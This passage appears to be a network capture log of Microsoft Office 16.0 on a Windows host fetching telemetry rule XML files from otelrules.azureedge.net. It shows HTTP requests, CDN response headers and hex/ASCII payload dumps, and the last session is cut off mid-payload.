Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	62380	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:12 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:12 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:12 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38f7f1e0-301e-006e-2f08-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124312Z-16ccfc49897rwhbvhC1DFWx88g00000000c0000000001kuz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:12 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	62381	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:12 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:12 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:12 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 37a25f3a-c01e-00ad-392a-2ba2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124312Z-176bd8f9bc5zzwfdhC1DFWqpb400000000qg000000001rzs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:12 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	62382	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:12 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:12 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:12 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 4f8161d3-a01e-00ab-6acd-2a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124312Z-159b85dff8fj5jwshC1DFW3rgc00000002y0000000006a53 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:12 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	62383	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:12 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:13 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:13 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 5d06df95-b01e-0084-4008-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124313Z-16dc884887bbfwjkhC1DFWyza800000000q0000000001zyx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:13 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	62385	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:13 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:13 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:13 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: b900ecb1-f01e-0099-29eb-2b9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124313Z-16ccfc49897b872mhC1DFWqtb000000000mg000000006fuy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:13 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	62386	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:13 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:13 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:13 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 8a5e2199-d01e-0014-3f2b-2ced58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124313Z-16ccfc498972q798hC1DFWe4nw00000000g000000000fq0q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:13 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	62387	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:13 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:13 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:13 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6028abc9-b01e-0002-6508-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124313Z-16ccfc49897nrfsvhC1DFW8e0000000000mg00000000kvuh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:13 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	62384	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:13 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:13 UTC	498	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:13 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c3d6966f-401e-0016-3ad8-2b53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124313Z-16ccfc49897w2n6khC1DFW5wd800000000h00000000096vz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-01 12:43:13 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	62388	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:13 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:13 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:13 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bab6baff-801e-002a-7024-2c31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124313Z-176bd8f9bc59kq6hhC1DFWrs8000000000n00000000042vx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 12:43:13 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	62389	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:14 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:14 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:14 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: b9b09701-201e-0096-2908-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124314Z-16ccfc49897rxv9khC1DFWwn2800000000fg00000000gpfm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:14 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	62390	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:14 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:14 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:14 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 69a14025-c01e-000b-6685-2ae255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124314Z-159b85dff8fdh9tvhC1DFW50vs000000033g00000000emcf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:14 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	62391	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:14 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:14 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:14 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 8964bec7-001e-005a-3570-2ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124314Z-159b85dff8fc5h75hC1DFWntr800000002n0000000003p7c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:14 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" 